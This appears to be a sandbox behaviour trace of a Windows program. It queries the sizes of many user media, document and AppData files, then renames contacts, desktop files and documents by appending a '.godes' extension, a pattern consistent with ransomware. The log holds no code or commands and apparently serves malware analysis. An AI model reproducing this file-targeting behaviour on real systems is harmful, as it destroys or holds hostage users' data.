Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\IDiIl91AYgIq7HA6_.m4a type = size, size_out = 54754 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\PO7Eqm6 3wk.mp3 type = size, size_out = 80829 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\rrjW-8lVtAyz6CB c58F.m4a type = size, size_out = 6940 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\TvM2NRbZu cHPtd OkbD.mp3 type = size, size_out = 11607 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\TvY6pS.mp3 type = size, size_out = 42292 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\YkQ2Zd.wav type = size, size_out = 99022 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\ZN52hee3SS1DkjLr.wav type = size, size_out = 2418 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\benH5y2SX1xIrg0bSF.m4a type = size, size_out = 29114 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\cemw.wav type = size, size_out = 45779 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\iCs-vS.wav type = size, size_out = 101470 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\iKO7d8t_cC0UV.mp3 type = size, size_out = 96168 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\IthrlB_pUrgCwH3pRgGO.m4a type = size, size_out = 87795 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\iWxzhwPIqb5mZjuvcv.mp3 type = size, size_out = 23827 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\lQDTQxNwKpz.m4a type = size, size_out = 50649 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\M-cTe5oTGVM6J9Ms.wav type = size, size_out = 97047 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\neGejl7TOddT.mp3 type = size, size_out = 16559 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\SoXdS.wav type = size, size_out = 27488 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\ttPbZm5ivBn SG4OL.mp3 type = size, size_out = 15690 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\W 8TSw1xhJnpWHI.m4a type = size, size_out = 69550 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\_5Qx7lEGVjKpdcq.mp3 type = size, size_out = 4288 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\1E-1x-bA_f\0pL6.bmp type = size, size_out = 64081 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\1E-1x-bA_f\gWv1KyJiGPxpOMqL3.png type = size, size_out = 1985 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\-zbo jfn3hfrTF0uU6.jpg type = size, size_out = 5138 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\qHB6k1yx.png type = size, size_out = 74559 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\x4sMoy\-UgYo9aAU h.avi type = size, size_out = 50852 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\x4sMoy\e77CID6eVsb.mp4 type = size, size_out = 26691 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\x4sMoy\vBaKWI7Uy49TuUWs.mp4 type = size, size_out = 57624 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\7zbK-lw.mkv type = size, size_out = 82938 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\M8EaxMEcyaid.swf type = size, size_out = 7465 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\Re_R5.swf type = size, size_out = 75644 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\s3BE.mp4 type = size, size_out = 23086 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\My Shapes\_private\folder.ico type = size, size_out = 29926 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\GYsSjG-g6A Jpf\4stR3pzmU2IjQjPCv2.pps type = size, size_out = 44355 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\GYsSjG-g6A Jpf\8eSNutIhoJBu4xJsfd.odp type = size, size_out = 38160 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\GYsSjG-g6A Jpf\9iXgtByQq.doc type = size, size_out = 30979 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\GYsSjG-g6A Jpf\bv9GJsGpfm.odt type = size, size_out = 93339 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\GYsSjG-g6A Jpf\c1Jyfiy2PqeG94Rl8.ods type = size, size_out = 27335 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\GYsSjG-g6A Jpf\p-btCK5P5-k.odt type = size, size_out = 96263 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\GYsSjG-g6A Jpf\P7n5oLz_D.ods type = size, size_out = 36400 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\GYsSjG-g6A Jpf\vRok2UtD99B94w3KRv.rtf type = size, size_out = 28883 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\DpUR93 xREUOdJVi.png type = size, size_out = 84763 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\HUu e.png type = size, size_out = 70767 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\nf3YcZ LLVZ7 8gtH.gif type = size, size_out = 99832 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\x4sMoy\9IrqcHW4ThsWoTp\4p5iJ0lNQ.flv type = size, size_out = 8362 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\x4sMoy\9IrqcHW4ThsWoTp\LWp5__rH.mp4 type = size, size_out = 97224 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\x4sMoy\9IrqcHW4ThsWoTp\nw RAVZ-b0JJW.swf type = size, size_out = 2323 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\x4sMoy\9IrqcHW4ThsWoTp\S FkKZQLF_GPV0N.mp4 type = size, size_out = 70434 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\x4sMoy\9IrqcHW4ThsWoTp\VkA9WpG3QP_KI.flv type = size, size_out = 87908 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\4L6Z\3e8LyOG.avi type = size, size_out = 94705 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\4L6Z\5Hyv.swf type = size, size_out = 17283 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\4L6Z\NHai0BU309Bkv-O-.avi type = size, size_out = 93572 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\4L6Z\OwRMCKP7D2.mkv type = size, size_out = 47623 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\4L6Z\USkdPbJMi5.swf type = size, size_out = 101211 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\nhszPrwAyFP3\nIoWGznt2.swf type = size, size_out = 87665 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\nhszPrwAyFP3\OJ7g4MMeWuj05DP.swf type = size, size_out = 22136 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\nOWtjkGkh\1NyKTTnONVZsk.avi type = size, size_out = 31971 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\nOWtjkGkh\DzCCnOnzxDqfuj.mp4 type = size, size_out = 45591 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\nOWtjkGkh\jsWtpdCwPYsyb9M.mp4 type = size, size_out = 102324 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\nOWtjkGkh\lFpYY8gUsJM4.swf type = size, size_out = 6813 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\nOWtjkGkh\sN0C0aYPZzpc_DWHdG_S.swf type = size, size_out = 76880 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\nOWtjkGkh\V99IOj.flv type = size, size_out = 42157 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\qp8C\ci6IimcnO8zr.mp4 type = size, size_out = 62053 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\qp8C\Ik6r7vA49Vf_2LVqLE.flv type = size, size_out = 78718 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\qp8C\MLRf.mp4 type = size, size_out = 8869 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\qp8C\NjbUt_t.mp4 type = size, size_out = 38765 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\qp8C\r5kMtufRwXsgtBq.swf type = size, size_out = 9519 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\KL GUyg5\LnHpzG.gif type = size, size_out = 87833 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\7iohC33skm1MLtj_zsU.bmp type = size, size_out = 77362 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\7zAHSAO8Qhdnj4k.png type = size, size_out = 12356 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\aW1PsgN2xsPJR.gif type = size, size_out = 98347 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\SG-TcXI2gXzZiahbe.bmp type = size, size_out = 64709 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\u8 nslHY.gif type = size, size_out = 3838 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Adobe\Acrobat\10.0\rdrmessage.zip type = size, size_out = 42495 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\index.dat type = size, size_out = 32768 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\AU\au.cab type = size, size_out = 581730 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\AU\au.msi type = size, size_out = 185344 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\Deployment\deployment.properties type = size, size_out = 719 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\jre1.7.0_45\Data1.cab type = size, size_out = 25340970 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\jre1.7.0_45\jre1.7.0_45.msi type = size, size_out = 906752 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\KL GUyg5\aoQ9WvOr9RAjhS9\6rXGcCpaY5U-.png type = size, size_out = 52392 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\KL GUyg5\aoQ9WvOr9RAjhS9\befSSIGEkkRUG.png type = size, size_out = 89150 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\KL GUyg5\aoQ9WvOr9RAjhS9\rzr43Df_s8poAvL8Y1F.jpg type = size, size_out = 15851 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\M-hu89hh2q0KW3MDUa\3HBQ5DQDTXX2Dst.bmp type = size, size_out = 55987 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\M-hu89hh2q0KW3MDUa\4bEPE_RVfAAsyMzt6.bmp type = size, size_out = 60913 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\M-hu89hh2q0KW3MDUa\9uanRu7vegqQifTY.jpg type = size, size_out = 75641 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\M-hu89hh2q0KW3MDUa\VqBAzwGqo.bmp type = size, size_out = 88857 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\Ti8zEuhb9G6\SqhwCUV_7QQ.png type = size, size_out = 22986 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\xGbG96m2n\Ti8zEuhb9G6\ydXSSVPNKJrpO.gif type = size, size_out = 31446 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\36USA68T\imagesrv.adition[1].xml type = size, size_out = 13 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\3O75JDME\www.google[1].xml type = size, size_out = 13 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\VGMTOI09\www.msn[1].xml type = size, size_out = 836 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\KL GUyg5\aoQ9WvOr9RAjhS9\K-e0Wu\CS68tY4DDQ.bmp type = size, size_out = 26928 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\KL GUyg5\aoQ9WvOr9RAjhS9\K-e0Wu\f5IF7l Fg-1E1w\ZgtF5NqrWfjyLW0T3.jpg type = size, size_out = 98895 True 1
Fn
Get Info C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\KL GUyg5\aoQ9WvOr9RAjhS9\K-e0Wu\f5IF7l Fg-1E1w\ZIdWI VbebKgRLmaFag.jpg type = size, size_out = 61387 True 1
Fn
Open STD_INPUT_HANDLE - True 2
Fn
Open STD_OUTPUT_HANDLE - True 2
Fn
Open STD_ERROR_HANDLE - True 2
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\Aclviho ASldjfl.contact.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\Aclviho ASldjfl.contact True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\Administrator.contact.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\Administrator.contact True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\asdlfk poopvy.contact.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\asdlfk poopvy.contact True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\chucu jadnvk.contact.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\chucu jadnvk.contact True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\lulcit amkdfe.contact.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\lulcit amkdfe.contact True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\sikvnb huvuib.contact.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\sikvnb huvuib.contact True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\-args_Zs.swf.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\-args_Zs.swf True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\6E-An34Wc.pps.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\6E-An34Wc.pps True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\6SGcgdd.wav.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\6SGcgdd.wav True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\7SFmX9n.mp3.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\7SFmX9n.mp3 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\9fAUwhZz7XQ47.flv.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\9fAUwhZz7XQ47.flv True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\al9QtC.gif.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\al9QtC.gif True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\chaznO Q_Ziy0yX2s.ots.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\chaznO Q_Ziy0yX2s.ots True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Dnuc8.swf.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Dnuc8.swf True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\E_g7Iz0.flv.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\E_g7Iz0.flv True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\g-yKu99NgX3E1avh.flv.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\g-yKu99NgX3E1avh.flv True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\gHQF.mp4.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\gHQF.mp4 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\GL6BHNKrZbqTT.mp3.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\GL6BHNKrZbqTT.mp3 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\JIZ4scK0VOvc.jpg.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\JIZ4scK0VOvc.jpg True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k1dd.gif.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k1dd.gif True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\M3MLVH7xcPc.jpg.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\M3MLVH7xcPc.jpg True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\nbzD8p.wav.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\nbzD8p.wav True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\OQQNDY6qNZHsM.flv.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\OQQNDY6qNZHsM.flv True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Ote7kPgqRa 0Oya j.avi.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Ote7kPgqRa 0Oya j.avi True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\PnL6Zh.flv.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\PnL6Zh.flv True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\rIBC47zYWHDhfd7P7Cw0.png.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\rIBC47zYWHDhfd7P7Cw0.png True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\RrZY-uYtP04ki0fgCu.rtf.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\RrZY-uYtP04ki0fgCu.rtf True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\RWHWfhMg5DcKSbU8_U.bmp.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\RWHWfhMg5DcKSbU8_U.bmp True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\veEwU3WXHMSpQmMMV.mp4.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\veEwU3WXHMSpQmMMV.mp4 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Z6w5rSJNmosnOqNY.png.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Z6w5rSJNmosnOqNY.png True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Ze0Y.avi.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Ze0Y.avi True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\-gxq8.pptx.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\-gxq8.pptx True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\81kerGqg6_j2b6.pptx.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\81kerGqg6_j2b6.pptx True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\95fISoK jESPo8EvK8TF.docx.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\95fISoK jESPo8EvK8TF.docx True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\cv2QjF4C3ccq--VP.xlsx.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\cv2QjF4C3ccq--VP.xlsx True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\DavXsI9enkQSR.pptx.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\DavXsI9enkQSR.pptx True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\ilqiF.odp.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\ilqiF.odp True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\jdj STUTpip.ots.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\jdj STUTpip.ots True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\j_udvQCV.xlsx.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\j_udvQCV.xlsx True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\kei5.docx.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\kei5.docx True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\kX2tA98.odp.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\kX2tA98.odp True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\L7nPtbAUFXsB.xlsx.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\L7nPtbAUFXsB.xlsx True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\NkSC620KY1G.xlsx.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\NkSC620KY1G.xlsx True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OwRe9Z9bAXQhesUnEazF.doc.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OwRe9Z9bAXQhesUnEazF.doc True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\pKUj8876P.docx.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\pKUj8876P.docx True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\PxpzY_JBUc8.ppt.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\PxpzY_JBUc8.ppt True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\RWDHO0IzJxGN9pWG.pptx.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\RWDHO0IzJxGN9pWG.pptx True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\ToYMawRVB8dOMOTUs.docx.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\ToYMawRVB8dOMOTUs.docx True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\U3qy.pptx.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\U3qy.pptx True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\U9 Gu49ZvH33.docx.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\U9 Gu49ZvH33.docx True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\VW61dc17V6x.pdf.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\VW61dc17V6x.pdf True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\wKt8pNbMIBpNV1.docx.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\wKt8pNbMIBpNV1.docx True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\x-dfNPgeB.pptx.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\x-dfNPgeB.pptx True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\XSVP9deEn8lAX Ja.ppt.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\XSVP9deEn8lAX Ja.ppt True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\ZUzJ97kgSmpFwdzhg.pps.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\ZUzJ97kgSmpFwdzhg.pps True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\_f1HsCMD.ots.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\_f1HsCMD.ots True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\_i_MHuX.xlsx.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\_i_MHuX.xlsx True 1
Fn
